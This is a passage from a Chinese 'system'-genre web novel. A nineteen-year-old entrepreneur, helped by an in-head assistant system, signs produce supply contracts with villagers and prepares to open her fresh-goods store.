赵海霖点了点头。 时墨语气突然变得严肃起来:“但是丑话说在前头,如果后续出现品质下降、有人仗着是熟人,就以次充好、耍滑头,甚至把答应给我们的菜偷偷卖给别人,那不管是谁,不管跟你认识多少年,一次警告,第二次直接剔除,永不再收。合同里写得明明白白,到时候别怪我不讲情面。” “墨墨说得对!”王桂英立刻接话,“海霖,村里那些人你比我清楚,有实在的,也有爱占小便宜的。以前你一个人收菜,他们糊弄你一下你也看不全。现在不一样了,规矩立在前头,对老实人是保护,对耍滑头的人是敲打。谁要是敢坏咱们的事,不用墨墨说,我第一个不答应!” 赵海霖沉默了几秒,然后重重地点了点头:“行!明天回村,我挨家挨户跟他们说清楚。谁要是不遵守规矩,就别想跟咱们合作。” 王桂英看着时墨,她认识时墨不算久,但她就知道时墨不是一般人,这大半年里她更是见过时墨很多面。 但今天的时墨,跟她之前见过的每一面都不一样。 她虽然还是个刚毕业的高中生,可坐在那张破旧的小板凳上,一份一份地翻着合同,一条一条地解释条款的认真严肃样,完全不像一个十九岁的孩子。 “嫂子。”时墨忽然看向她。 王桂英回过神来:“哎。” “明天回村,你跟海霖哥一起。你是本村人,跟那些菜农的媳妇们都熟。有些话,你跟她们说,比海霖哥说管用。” 王桂英用力点头。“行!我跟她们说。你放心,我知道怎么讲。” 时墨从口袋里掏出两把崭新的黄铜钥匙,放在桌上:“这是铺子的钥匙,你们一人一把。今天有空就去花市大街上堂子胡同看看。17号。熟悉熟悉周边的环境,看看人流情况,心里有个数。等装修完了,你们就是那家店的经营者了。” 赵海霖拿起钥匙,放在掌心里摩挲着。钥匙还带着金属的凉意,齿痕是新锉的,闪着淡淡的光,他攥紧了钥匙。 “墨墨,你放心。我就是拼了这条命,也一定把这家店给你看好。” 时墨站起来,笑了笑:“不用拼命,好好干就行。” “咱们明天几点走?”王桂英也跟着站起来,“我们平时都是五点出发,坐头班公交车,到村里七点,正好赶上菜农摘完头茬菜。” “不用坐公交。”时墨说,“我包了车,八点半点来接你们,咱们一起回村。” “包车?”夫妻俩同时瞪大了眼睛。 在这年代,打一辆面的从城里跑到郊区农村,车费够一个普通家庭好几天的菜钱了。 “包车省时间,也方便。明天不知道跑多远,有车方便,也省时间。”时墨道,“车的事你们不用操心,我已经约好了。你们今晚把要见的菜农名单理好,按远近排个顺序,明天一家一家跑。” 赵海霖张了张嘴,想说太浪费钱了,但看着时墨认真的眼神,最终还是把话咽了回去,点了点头。 从赵海霖家出来,时墨没有直接回家。 她沿着菜市场外面的街道走了一段,找到一家挂着“公用电话”牌子的小卖部。柜台后面的中年女人正在织毛衣,两根竹针在她手里上下翻飞,毛线团放在柜台上,被猫拨得滚来滚去。 “阿姨,打个电话。” 中年女人把黑色的拨盘电话推过来,时墨拿起沉甸甸的听筒,拨了新兴出租公司的号码。 电话响了四声才接通。 “喂,新兴出租。” 时墨订了一辆面的,明天早上八点,到她家胡同口。她把地址报了两遍,又让电话那头重复了一遍确认,才挂了电话。 回到家,她关上房门,坐在书桌前。 【小七。】 【在呢宿主!】 【帮我生成一份农产品收购合同模板。】时墨打开系统光屏,【要求:第一,三个等级的品质标准,用农民能听懂的大白话写,别用专业术语。第二,价格条款,随行就市,每周调整一次,但要设最低保护价和最高限价,两头都封住。第三,违约责任,重点写以次充好和私下转卖,这两种是以后最容易出问题的。】 【明白。】系统的语气干脆利落,【合同模板正在生成。预计两分钟。】 时墨点了点头,继续往下说:【调查周边郊区乡下以及其他渠道的果蔬、鱼肉、禽蛋、干货、粮油,现在国家开放了个体商贩能做的所有生鲜品类。我要一份完整的供货渠道地图。从最近的村子开始,逐步往外扩,每一种品类的产地、产量、品质、价格周期、运输距离,全都要。】 光屏上的数据流开始快速滚动。 系统正在调取当下京市及周边地区的农业数据和市场数据,光屏上浮现出一张详细的地图,不同颜色的线条标注着不同的供货路线,绿色是蔬菜,红色是肉类,蓝色是水产。 【宿主,数据量比我想象的大。】系统兴奋地说,【现在京市农产品流通正在从统购统销转向市场化的过渡期。国营渠道还在,但个体户的进货渠道已经开始多元化了。郊区菜农、养殖户、批发市场、甚至河北的部分产地只要运输距离在合理范围内,理论上都可以纳入供货网络。】 【合理范围是多少?】 【生鲜蔬菜,从采摘到上架,不超过二十四小时。肉类水产更短,最好当天。】系统说,【以当前运输能力计算,从北京出发,半径一百公里以内的产地,都能做到当天来回。一百公里,已经能覆盖到河北廊坊、保定、津市的一部分。如果再往外扩,就需要冷链,现在的条件下成本太高,暂时不推荐。】 时墨的手指在桌上轻轻敲了两下。 【先从最近的开始,把榆树庄的供应链跑通,积累经验,再慢慢往外扩。】 【明白。】系统的声音里多了一种摩拳擦掌的意味,【我已经建好了供货商数据库,分三个层级:核心层是签约菜农,长期稳定供货,优先保障;辅助层是周边的批发市场,用来补充品类和应急调货;备用层是外围产地,等规模上来了再开发。】 时墨看着光屏上不断更新数据,嘴角微微上扬:【干得不错。】 【那是,我可是最专业的!】系统的语气里带着得意,【宿主,你这个方向真的选对了!现在的生鲜市场就是一片蓝海啊。大家都还在摆地摊卖菜,你用标准化的打法,绝对能碾压所有人!】 【先别飘,把合同给我。】 光屏一闪,一份完整的《农产品收购合同》浮现在她眼前。 时墨从头到尾仔细看了一遍,把几条太专业的条款改成了大白话,又补充了几条关于交货时间和损耗的约定,才满意地点了点头。 写完之后,她把合同原稿收好,背上书包出了门。 街道办开的打印店离她家不远,门面很小,里面只有一台老式的铅字打印机和一台复印机。 时墨到的时候,店里只有一个穿蓝布工作服的中年男人,正趴在桌上打瞌睡。 “师傅,打印十份。”时墨把稿纸递过去。 中年男人一个激灵醒过来,揉了揉眼睛。“你刚说几份?” “十份。” “十份?”他看了时墨一眼,又看了看稿纸上的合同,挑了挑眉,小姑娘,打印这么多合同啊?做生意呢?” “嗯,做点小生意。”时墨笑了笑。 师傅没再多问,坐下来开始排版。铅字一个字一个字地从字架上取下来,排在印版上,滚上油墨,铺上纸,压下滚筒。“吱嘎”一声,一张印满字的纸滑了出来,带着浓浓的油 油墨还没干,字迹微微反着光,带着铅字印刷特有的那种微微凹凸的手感。时墨拿起来看了一眼,吹了吹上面的油墨,放在一边晾着。 机器继续响。 吱嘎,吱嘎,吱嘎。 十份合同印完的时候,天已经黑了。时墨付了钱,把合同一份一份叠好,装进书包里。 回到家,李秀兰已经做好了晚饭,白菜炖粉条,一碟咸菜,几个馒头。 时墨坐下来,陪着爸妈慢慢吃饭,跟他们说了明天要去村里的事。 “去村里干什么?远不远?”李秀兰担心地问。 “不远,包了车,当天就能回来。跟菜农签个合同,以后铺子的菜就从他们那儿进。” “那你注意安全,早点回来。”李秀兰往她碗里夹了一大块粉条,“多吃点,明天有力气。” 吃完饭,时墨陪李秀兰在楼下院子里坐了一会儿闲聊。 月亮升起来了,银辉洒在地上,树影斑驳。隔壁院里传来收音机的声音,还有孩子们的嬉闹声。 “妈,走吧,回去睡了。” “嗯,回吧,你明天还一堆事。” 回到房间,时墨把明天要带的东西一一整理好:十份合同、印泥盒、两支钢笔、一个笔记本,还有一沓现金放在信封里,万一有菜农当场要定金,不能空手去。她把闹钟定在六点,然后躺到床上。 她把闹钟定到七点,然后躺到床上睡了。 【宿主,今天的能量币汇总:晨跑50,阅读80,陪伴家人40,散步30,合计200能量币。】 【知道了 。】 【对了,我根据赵海霖之前的描述,做了一份榆树庄村民的情况分析。】光屏上弹出一个文档,【哪些户是老实本分的,哪些户爱占小便宜,哪些户种菜种得最好,都标出来了,你明天签约的时候心里有数。】 【做得好。】 【还有还有,你之前说的那个计划“从小果蔬商超变成大型连锁超市”,我做了一个更详细的路径模拟。】系统突然说道,【从单店到连锁,中间大概需要跨过五个关键节点。第一个节点是单店模型验证,第二个节点是资金积累和标准化流程建立,第三个节点是供应链整合,第四个节点是跨区域复制,第五个节点是品牌溢价变现。】 光屏上浮现出一条时间轴,五个节点被标注在上面,每一个节点旁边都标注着预计需要的时间和前置条件。 【保守估计,三年就能覆盖整个京市。】 时墨看着那条时间轴,眼神深邃。 【我知道。】她轻声说,【三年,足够了。】 【宿主,你什么时候算的这些?】系统惊讶地问。 【签完合同回来的路上。】 系统沉默了几秒,然后光屏上的数据又开始飞速滚动:【那我按照你的节奏,重新调整一下供应链的开发计划!分阶段推进,保证跟得上你的速度!】 时墨在黑暗中睁开眼,看着光屏上那张被各色标注填满的地图。 蓝色的供货路线从北京出发,像血管一样往外延伸,第一年覆盖郊区县,第二年伸向河北津市,第三年触达山东河南,第四年—— 她的目光顺着那些蓝色的线条一路往南,一直看到地图的边缘。 【够了,先睡了,明天还要早起。】 【晚安宿主!】 光屏暗了下去,房间里只剩下月光。 第二天早上六点,闹钟准时响起。时墨睁开眼,迅速起床洗漱,换上一套提前准备好的白色短袖衬衫,外面套一件浅灰色的薄外套,袖子挽到手腕,深蓝色的直筒裤,裤线熨得笔直。脚上是一双黑色皮鞋,鞋面擦得锃亮。头发没有扎马尾,而是用黑色的发夹别在耳后盘起,露出光洁的额头。 她站在镜子前面看了自己一眼,满意地点了点头。 吃完早饭,时墨背上布包出了门。 胡同口,一辆银灰色的天津大发已经停在那里了。 司机是个四十来岁的中年男人,穿一件洗得发白的夹克,正靠在车门上抽烟,看见时墨走过来,他把烟头扔在地上踩灭。 “是您订的车吧?去榆树庄?” “是。”时墨拉开车门,“先去接两个人,然后再去村里。” 司机点了点头,发动了车。大发车的发动机发出一声嘶哑的轰鸣,整个车身都跟着抖了抖,然后晃晃悠悠地驶出了胡同。 接上赵海霖和王桂英的时候,两个人都惊呆了。 赵海霖穿了一件平时舍不得穿的中山装,衣服有点大,肩膀那里空落落的。他站在车旁边,上上下下看了好几遍,才小心翼翼拉开车门坐进去。 王桂英跟在后面,穿了一件碎花的确良短袖,头发梳得整整齐齐,手里拎着一个布袋子,里面装着煮鸡蛋和烙饼。 “墨墨,这车……真漂亮。”王桂英小心翼翼地拉开车门,屁股只挨着座椅的边,背挺得笔直,两只手紧紧攥着布袋子。 “包一天十五块。”时墨说。 王桂英倒吸了一口凉气。 十五块,够他们家十天的菜钱了。 王桂英余光打量起时墨,她感觉时墨今天跟平时不太一样。 不是穿得好不好的问题,是整个人的状态都不一样了,从头发到鞋子,从说话的语气到坐着的姿势,都透着一种利落。 大发车驶出城区,沿着京开路往燕化厂的方向开。 路两边的灰砖平房渐渐变成了一望无际的农田,玉米已经长到半人高,绿油油的一片连着一片,被风吹得泛起波浪。 偶尔经过一个村子,村口的土墙上刷着白灰标语,字迹被雨水冲得有些模糊了,还能认出来——“计划生育是基本国策”“要致富先修路”。 大约开了一个半小时,车子拐进了一条土路。 路两边全是塑料大棚,在太阳底下白花花的一片。土路坑坑洼洼,大发车在上面颠得像筛糠,车里的三个人被颠得东倒西歪。 司机骂了一句,把车速降了下来。 “前面就是榆树庄了。”赵海霖指着前面的村子说。 时墨让司机在村长家门口停下,付了定金,让他在村里等着,下午一起回城。司机接过钱,笑得满脸褶子:“好嘞好嘞,你们放心去,我就在这儿等着。” 一辆银灰色的大发车停在村长家门口,这个消息像长了翅膀一样,瞬间传遍了整个村子。 半大的孩子们最先跑过来,围着车转圈,伸手摸车灯、摸后视镜,被司机吆喝了一声,又嘻嘻哈哈地散开。 端着洗衣盆的妇女站在院门口往这边张望,交头接耳地议论着,扛着锄头要下地的男人也停下来,锄头往地上一杵,眯着眼看。 时墨从车里下来的时候,所有的目光都聚焦在了她身上。 白衬衫,灰外套,黑皮鞋。头发别在耳后,露出一张年轻明艳的脸。她站在阳光下,目光平静地扫过围观的人群。 然后她转过身,对赵海霖说:“海霖哥,带路。” 赵海霖走在前面,时墨跟在半步之后,王桂英在旁边陪着,三个人穿过围观的人群,往村长家院子里走。 人群自动让开了一条路,没有人说话,只有目光追着时墨的背影,一直追到她走进院门。 榆树庄的村长刘长贵,五十来岁,黑瘦黑瘦的,脸上的皱纹像刀刻似的。 他正蹲在院子里抽旱烟,听见动静抬起头,先看见了赵海霖,刚要打招呼,目光就落到了赵海霖身后的时墨身上。 他的动作顿了一下,然后赶紧站起来,把旱烟锅子在鞋底上磕了磕,烟灰簌簌地落在地上。 “海霖来了。”他笑着打招呼,目光却落在了时墨身上,“这位是?” “刘叔,这是我跟你提过的,时墨。”赵海霖侧了侧身,把时墨让到前面,“我们东家。” “东家”这两个字从赵海霖嘴里说出来的时候,刘村长的眉毛明显地动了一下。他上下打量了时墨一番,眼神里带着惊讶和试探。这么年轻的姑娘,居然是东家? “刘村长您好,我是时墨。”时墨伸出手,声音清脆有力。 刘村长下意识地在裤子上蹭了蹭手,然后握住了时墨的手。那只手纤长有力,握了一下就松开了,分寸感极好。 “快进屋坐,进屋说。”刘长贵把他们往屋里让,“海霖昨天打电话说,你们要跟村里签收菜的合同?” “对。”时墨在堂屋的椅子上坐下,接过刘长贵递过来的搪瓷杯,“长期合同,稳定收购,按质论价。所有条件都写在合同里,白纸黑字,对双方都有保障。” “赵海霖收了我们村半年的菜。”刘村长在她对面坐下来,掏出旱烟袋,没点,只是拿在手里搓,“他这人实在,村里人都信得过他。但签合同这事,说实话,我们村跟公家签过合同,交公粮的那种。跟私人签,还是头一回,大家心里都没底。” “我理解”时墨点了点头,“刘村长,我说几句实在话。以前海霖哥一个人收菜,量小,一天也就几百斤,口头约定没问题。但现在我们开店,一天要收几千斤菜,以后量会更大。量大了,光靠口头约定撑不住。今天说好的价,明天变了;今天说好的品质,明天拉来的货不一样。这种事,您种了一辈子地,比我见得多。” 刘村长没说话,手里的旱烟袋搓了两下。 “合同就是防这个的。”时墨的声音不大,但每一个字都落得很稳,“品质标准写清楚,价格机制写清楚,违约责任写清楚。对实在人是保护,对耍滑头的人是敲打。有了合同,我们也不能随便压价,你们的菜也有了稳定的销路,不用担心卖不出去。这是双赢的事。您是一村之长,您最清楚。” 刘村长沉默了一会儿,看着时墨平静而坚定的眼神,心里的顾虑消了大半。他站起来,走到院子里,拉响了墙上的广播喇叭。 “喂——喂——”他的声音通过喇叭传出去,在村子上空炸开,“各家各户注意了!每家来一个管事的,到村委会开会!马上就来!” 喇叭的声音在村子上空回荡。不到二十分钟,村委会的院子里就站满了人。说是村委会,其实就是三间砖房前面的一片空场子,地上堆着几堆红砖,旁边停着两辆破旧的板车。 来的人有男有女,有老有少,有的刚从大棚里出来,膝盖上还沾着泥,有的抱着孩子,孩子在怀里扭来扭去。他们三三两两地凑在一起,低声议论着,目光不停地往时墨身上瞟。 时墨站在村委会门口的台阶上。台阶不高,就三级,但站在上面,刚好比院子里的人高出半个头。赵海霖和王桂英站在她两侧,刘村长站在她旁边。 “安静一下!安静了!”刘村长举起两只手往下压了压,等议论声渐渐低下去,才继续说,“今天叫大家来,是赵海霖他们,要跟咱们村签收菜的合同。具体怎么回事,让这位时同志给大家说说。” 他把位置让给时墨。 院子里几十双眼睛齐刷刷地看过来。 时墨往前走了一步,站在台阶上,没有马上开口。院子里几十双眼睛齐刷刷地看着她,有好奇,有怀疑,还有不屑。 她没有慌,也没有急着说话,只是目光平静地从左到右扫了一遍。那目光不重,却带着一种莫名的力量,被她扫过的人,都不自觉地闭上了嘴。院子里渐渐安静了下来。 “各位叔叔伯伯,婶子大娘们,大家好。”她的声音不大,却清清楚楚地传到了每一个人的耳朵里,“我叫时墨。赵海霖是我哥,王桂英是我嫂子。我们在城里开了一家生鲜铺子,以后,你们种的菜,我们家长年收购。” 话音刚落,人群里就有人喊了起来:“小姑娘,你多大啊?就敢开铺子收菜?别是骗人的吧?” 说话的是村里有名的愣头青刘二柱,穿一件红背心,抱着胳膊站在人群前面,一脸不屑。 时墨的目光落在他身上,语气平静:“我十九岁。但我是这家铺子的法人,所有的事我都能做主。你们有任何问题,都可以找我,我负全部责任。” 刘二柱被噎了一下,撇了撇嘴,没再说话。 “收菜就收菜,签什么合同啊?”人群里一个中年妇女大声说,赵海霖收了半年菜,也没签过合同,不也好好的?签那玩意儿有啥用?” “婶子。”王桂英往前走了一步,看着刘老四媳妇说,“以前海霖一天只收几百斤,谁家有多少菜,心里都有数。现在不一样了,以后一天要收几千斤,十几个品种。光靠脑子记,哪记得住?万一记错了价格,或者记错了斤两,到时候扯皮多伤和气?” 刘老四媳妇张了张嘴,没说出话来。 王桂英继续说,声音比刚才大了一点:“签合同,是对大家好。合同上写着呢,你家种的什么菜,什么时候交货,什么品质什么价,写得明明白白。到时候一手交货一手交钱,谁也赖不了谁的。你说是吧?” 她说完这句话,看了时墨一眼,时墨微微点了一下头。 “嫂子说得对。”时墨接过话,声音依然平稳,“合同不仅是约束我们的,也是保护你们的。我把合同的核心内容跟大家说一下。” 院子里安静了一瞬。 “合同里写得很清楚。”她从书包里拿出一份合同,翻开,举起来让大家看到上面密密麻麻的字,“菜分三个等级。一等品,个头均匀、颜色鲜亮、没有虫眼、没有磕碰。这个等级的菜,我们按最高价收,进店零售。二等品,品相稍微差一点,但新鲜度没问题。这个等级的菜,我们按特价收,做促销用。三等品,烂的、蔫的、虫吃鼠咬的。一概不收。” 她把合同放下。 “标准写在合同里,每个人签之前都会逐条念给你们听。签了字,就代表你认可这个标准。以后交货,达不到一等品,就按二等品价走。达不到二等品,拉回去,我们不收。丑话说在前头,比事后扯皮强。” 底下的议论声又响起来了,这次比刚才更嘈杂。 “这标准也太严了吧?” “就是,谁家种菜还没个虫眼啊?” “这样也好,省得有人拿次货充好货占便宜。” 还有人在算一等品和二等品的价差。 “大家静一静。”时墨提高了一点声音,“严是严了点,但一分钱一分货。一等菜卖高价,你们也能多赚钱。如果我们什么菜都收,最后把烂菜卖给顾客,我们的铺子倒了,你们的菜也没地方卖了,对不对?” 人群安静了下来。 “第二,价格。”时墨继续说,“收购价随行就市,每周一调整一次,以城里批发市场的价格为基准。但我们设了最低保护价,就算市场上菜价跌了,我们也不会低于保护价收。同时也有最高限价,市价涨得太高,我们也按限价收。两头都封住,大家都安心。” 这话一出,底下的人眼睛都亮了。还有最低保护价?这可是天大的好事!以前菜价跌的时候,他们只能眼睁睁看着菜烂在地里,一分钱都卖不出去。 “真的有最低保护价?”一个头发花白的老农挤到前面,激动地问,“姑娘,你可别骗我们。” “大爷,我不骗你。”时墨把合同翻到价格条款那一页,指给他看,“都写在合同里了,白纸黑字,签字按手印,有法律效力的。要是我们不按合同来,你们可以去告我。” 老农凑过去看了半天,虽然认不全字,但看到上面鲜红的印章,心里踏实了不少。 “第三,违约责任。”时墨的语气严肃起来,“签了合同之后,你们要优先把菜卖给我们。如果有人以次充好,把烂菜混在好的里,或者偷偷把菜卖给别人赚高价,第一次警告,第二次直接终止合同,以后再也不收你们的菜。” 她的目光扫过人群,一字一句地说:“规矩对所有人都一样。不管是谁,不管跟海霖哥认识多少年,只要违反了合同,就别怪我们不讲情面。” 院子里鸦雀无声。所有人都看着时墨,眼神里的怀疑和不屑消失了,取而代之的是认真和敬畏。 “我要说的就这些。”时墨把合同合上,“愿意签的,现在排队,一个一个来。签之前,我会把合同逐条念给你们听,有不明白的,当场问。不会写字的,可以按手印。” 刘长贵第一个站了出来:“我先签!我相信时姑娘!” 有了村长带头,其他人也纷纷排起了队。 第一个上来的是刚才那个老农,叫刘德厚,种了一辈子菜,背微微佝偻,脸上的皱纹像核桃壳,他走到时墨面前,搓着手,有点紧张,嘴唇翕动了好几下才说出话来。 “姑娘,我问一句。我家种了两亩西红柿,一亩茄子,还有几分地的豆角。要是都跟你们签了,以后是不是就不能卖给别人了?” “不是的大爷。”时墨耐心地解释,“合同写的是优先供应。意思是你家的菜,同等价格下,你先卖给我们。如果我们收不了那么多,或者你有多余的,你可以卖给别人。但前提是,你不能一边答应卖给我们,一边偷偷卖给别人家。” 刘德厚点了点头:“那我明白了,姑娘。” 时墨把合同逐条念给他听,他听得很认真,时不时点头。听完之后,他拿起笔,歪歪扭扭地签下了自己的名字,然后按了一个鲜红的手印。 王桂英从红漆木匣子里数出二十块定金,双手递给他:“大爷,这是定金。明天早上七点,把菜拉到村口,海霖在那儿收。” 刘德厚接过钱,激动得手都抖了:“好好好!我明天一早就把最好的菜拉过来!” 队伍缓慢地往前移动,每一个上来的人,时墨都会把合同的核心条款逐条念一遍,品质标准、价格机制、违约责任。她的声音从头到尾保持着同一个节奏,不因人多而加快,不因重复而敷衍。遇到听不懂的,她就用大白话再解释一遍,解释到对方点头为止。 赵海霖负责登记农户信息和种菜的品种数量,王桂英负责发定金和开收据。三个人配合得井井有条。 一直签到太阳偏西,最后一份合同签完的时候,时墨的嗓子已经哑了。她拧开搪瓷杯喝了一口凉掉的水,嗓子疼得像火烧一样。 刘村长站在旁边,把旱烟袋叼在嘴里,划了根火柴点上,深深吸了一口,烟雾从他鼻孔里喷出来,被傍晚的风一吹就散了。 “时姑娘。你这套章程,是跟谁学的?” “是在书上看到的,然后自己琢磨改编出来的。”时墨把签好的合同一份一份地摞齐,边角对齐,装进书包里。 刘村长看着她整理合同的背影,沉默了一会儿。 “我年轻时给大户人家扛过活。”他说,声音被烟熏得有点沙哑,“那时候东家的少爷,也就你这么大年纪。他往那儿一站,不用说话,底下人自然就不敢出声。今天一看到你我就想起了他,像你们这么年纪轻轻,做事这么稳当周全的,实属少见。” 时墨把书包拉链拉上,转过身笑了笑:“刘村长过奖了。以后村里的菜,还要麻烦您多费心盯着点品质。我在城里,地里的事顾不上那么多。” “你放心!”刘村长把烟袋从嘴里拿下来,郑重地说,“你这么讲信用,我们也不能含糊。谁要是敢糊弄你,拿次菜充好菜,不用你说,我第一个饶不了他!” 时墨点了点头,对他微微鞠了一躬:“谢谢您。” “不用跟我客气,都是应该的,你生意做好做大了,我们村里人也能跟着借光。”刘村长年轻时走南闯北见识多了,他在时墨身上看见了不同凡人的气质,跟着她走绝对没错。 夕阳西下,金色的余晖洒在田野上。 车厢里装着几袋菜农硬塞过来的西红柿和黄瓜,还有十个包好的土鸡蛋,晃晃悠悠地驶出了榆树庄。 王桂英靠在座椅上,长长地舒了一口气。她看着时墨疲惫的侧脸,轻声说:“墨墨,今天你站在台阶上说话的时候,我都看呆了。那么多人,都安安静静地听你说,连刘叔都听你的。我忽然觉得,你好像一下子长大了好多。” “不是长大了。”赵海霖看着窗外,语气认真,“是墨墨本来就这么厉害。以前只是没机会显露出来。跟着墨墨干,咱们以后的日子,肯定会越来越好的。” 时墨靠在座椅上,闭上了眼睛。嘴角却微微上扬。 【宿主!今天大获全胜!】系统兴奋的声音在脑海里响起,【一共签约农户三十七户,覆盖二十二种蔬菜,预计日均供货量两千五百斤!加上批发市场的辅助供货,单店的供应完全没问题了!恭喜宿主,第一步供应链框架,正式搭建完成!】 【叮!完成隐藏任务:首次搭建供应链,额外奖励500能量币!】 时墨在心里笑了。 是啊,第一步,已经迈出去了。 接下来,就是把“时记”的招牌打出去。 第83章 时墨把进货排班、装修对接这些琐碎事一股脑甩给了赵海霖夫妻俩, 只留了大方向的决策权。 赵海霖两口子得了信任,更是铆足了劲。每天天不亮就往铺子跑,盯着装修队刷墙打货架, 连一颗钉子歪了都要掰正, 好在王师傅带队手艺扎实, 整体没出什么岔子。 梅先生故居修缮工程正式竣工, 揭幕仪式定在周六上午十点。 时墨到的时候,门口已经聚了不少人。 花篮从院门口一路摆到影壁前,红色缎带上写着各单位的名称,被风吹得轻轻飘动。文物局的人、古建圈的前辈、参与过修复的工匠们,还有一些她叫不出名字的面孔, 三三两两地站在院子里说话。 院子飞檐斗拱, 青砖灰瓦。门口多了一块铜牌,上面刻着“梅兰芳先生故居纪念馆”几个字, 字迹鎏金, 被阳光照得微微发亮。 “时墨。” 熟悉的声音从身后传来。时墨回头,就看见谢时昀穿着一身熨帖的白衬衫、黑裤子, 头发比上次见面时短了一点, 鬓角修得干干净净, 整个人看上去比之前多了丝清爽感。 “孙老师要是能看到, 一定很高兴。”他走到时墨旁边, 目光落在那块铜牌上,声音轻了几分。 “嗯。” 两个人并肩站了一会儿,谢时昀正要说话, 揭幕仪式就开始了。 领导讲话、剪彩、揭匾,一套流程走下来,太阳已经升到了头顶。人群渐渐散开, 参观的参观,叙旧的叙旧。 时墨在连廊下被几个老前辈拉着说了会儿话,一一应过之后,才得了空。 她走到海棠树下的石凳上刚坐下来,谢时昀不知道什么时候走了过来,手里拿着两瓶橘子汽水,递了一瓶给她。 他拉开自己那瓶的拉环,气泡“滋”地冒了出来,“听说你最近没闲着?” “嗯,开了家生鲜商超。铺子租在花市大街上堂子胡同,装修快完了,下周六开业。”时墨接过汽水,指尖碰到冰凉的玻璃瓶,舒服地眯了眯眼,“谢哥要是那天有空,可以过来看看。” “生鲜铺子?”谢时昀有些惊讶,随即笑了,“你还真是干什么都出人意料,开业我一定到。” 两人正说着,周景行扇着折扇走了过来:“开业?时丫头开什么业?藏着掖着不告诉我们老头子?” “就是个卖菜卖肉的小铺子,叫‘时记生鲜’。”时墨笑着站起来,“下周六开业,周老要是有空,带各位前辈过来逛逛。我给大家准备了会员卡,以后买东西都能打折。” “会员卡?”周景行愣了,这词儿新鲜,还没听过买菜办会员卡的,“这是个什么新鲜玩意儿?” “就是一张卡片,凭卡消费能打九折。”时墨简单解释了两句,“等开业了我给各位送过去,还有购物券可以直接当钱花。” 周景行愣了一瞬,然后哈哈大笑,笑声洪亮得把旁边几个人的目光都引了过来。“好!好!怀瑾要是还在,非得夸你一句脑子活!”他收了笑,看着时墨,语气认真了几分,“下周六,我带着几个老家伙一块去,给你捧捧场!谁不去我骂谁!” “一定。” 周景行这一嗓子把周围几个相熟的人都招了过来,周围的人纷纷应和。时墨一一谢过,又跟他们聊了几句故居后续维护的细节。 等人群散去,谢时昀才看着她,眼神里带着毫不掩饰的欣赏:“我还以为你只是开个小店玩玩,听你这意思,是想做大?” “怎么说?”时墨转头看他。 “一家生鲜铺子,不需要你在梅先生故居揭幕仪式上挨个邀请人。”他把喝光的汽水放到一旁,“你是想让‘时记’这个名字,从这些人嘴里传出去。周老他们在京市的人脉,比文物局的名录还厚。他们今天回去跟家里人提一嘴,家里人再跟街坊邻居提一嘴,到你开业那天,‘时记’这两个字在花市大街周边,就已经不是陌生招牌了。” 时墨笑了下,没否认:“玩玩多没意思。先开一家试试水,等模式跑通了,就开第二家、第三家。以后城里,到处都是‘时记’的招牌。” 谢时昀看着她眼里的光,心跳莫名漏了一拍。他认识的女孩子里,没有一个像时墨这样,年纪轻轻却野心勃勃,眼里永远闪烁着灼人的光芒。 他语气随意地转了个弯:“你那个铺子,进货的事都安排妥了?” “蔬菜跟榆树庄的农户签了收购合同,肉蛋水产也在谈,有几家已经答应了。”时墨说,“但有些品类,郊区农户供不了。比如一些特菜、调料、干货,还有冬天的大棚细菜,得走别的渠道。运输也是个问题,现在只有一辆三轮车,以后量上去了肯定不够。” 谢时昀点了点头,认真道:“我认识一些做运输和农产品批发、副食品的朋友,都是正经做生意的,跟我家也有多年交情。等你开业后,要是需要拓展渠道或者找车队,我帮你牵线。都是熟人,价格和信誉都有保障,不会坑你。” 阳光从海棠树叶子的缝隙里漏下来,在他脸上投下细碎的光斑。时墨看着他真诚的眼神,没有推辞,点了点头:“好,那先谢谢你了。等我这边稳定下来,再找你细聊。” “客气什么。”谢时昀笑了笑,“都是朋友。” 从梅先生故居出来,时墨直接拐去了堂子胡同。 铺子门板已经全部换成了新做的折叠铁栅门,王师傅蹲在门口,正拿一把小刷子给门框补绿漆,手上的动作稳得很,刷子走过的地方漆面匀匀净净,一丝缝隙都没有。 铺子的装修已经接近尾声。水磨石地面擦得锃亮,雪白的墙面上挂着几个绿色的价目牌,活动货架已经组装好了,整整齐齐地排成几排。 王桂英正拿着个抹布,蹲在地上擦货架的边角,额头上全是汗,后背的衣服都湿透了,贴在脊梁上。 “嫂子,歇会儿吧。”时墨把手里拎着的大西瓜放在桌上,“刚从路边买的,沙瓤的,解解暑。” “墨墨来了!”王桂英直起腰,擦了擦额头上的汗,“不用歇,马上就擦完了。装修王师傅说后天就能全部完工,再通两天风,正好赶上下周六开业。” 时墨把西瓜切了。红瓤黑籽,刀刃刚碰到瓜皮,瓜就咔嚓一声裂开了,汁水顺着切口淌下来,在桌上洇出一小片深色的水渍。 她冲外面喊了一声:“王师傅,各位师傅,歇会儿吃西瓜了!” 王师傅把手里的刷子往漆桶上一搁,在裤子上蹭了蹭手,拿起一块西瓜。一口下去,西瓜汁顺着他的嘴角流下来,他也没擦,含含糊糊地说了声“甜”。两个徒弟也凑过来,蹲在门口吃瓜。 六月的太阳毒辣辣地晒着胡同,西瓜的凉气和甜味在舌尖上化开,几个人吃得呼哧呼哧的,没人说话。胡同里偶尔有人经过,看见这光景,都忍不住往铺子里多看一眼。 时墨把王桂英拉到一边,从包里拿出个小本子:“嫂子,开业前,有几件事我要跟你对一下。” 王桂英立刻从兜里掏出一个巴掌大的小本子和铅笔,翻开一看,里面已经密密麻麻记了不少东西,字歪歪扭扭但一笔一划很认真。 “蔬菜分区域摆,进门最显眼的堆头放特价菜和时令菜,吸引眼球。叶菜类放在最里面,因为容易蔫,要每隔一小时喷一次水。肉类和水产放在单独的区域,离蔬菜远一点,避免串味。”时墨一条一条地说,“所有的菜都要码整齐,烂叶子、坏果子随时挑出来扔了,绝对不能摆在货架上。称重的时候一定要给够秤,多给半两没关系,绝对不能少秤。要是被我发现少秤,不管是谁,当月奖金全扣。” 王桂英飞快地记着,笔尖在纸上沙沙作响:“放心吧墨墨,我都记下来了。到时候我盯着,谁要是敢少秤,我第一个不饶他!” “还有运输的事。每天凌晨三点,海霖哥去村口拉菜,六点之前必须送到店里。七点之前,所有的菜都要摆上货架,七点半准时开门。”时墨又在本子上画了几个圈,“里面这排货架放日常蔬菜,茄子、豆角、土豆、青椒,按颜色搭配着摆。绿的和红的挨着,黄的和紫的挨着,摆好看了人就想买。” 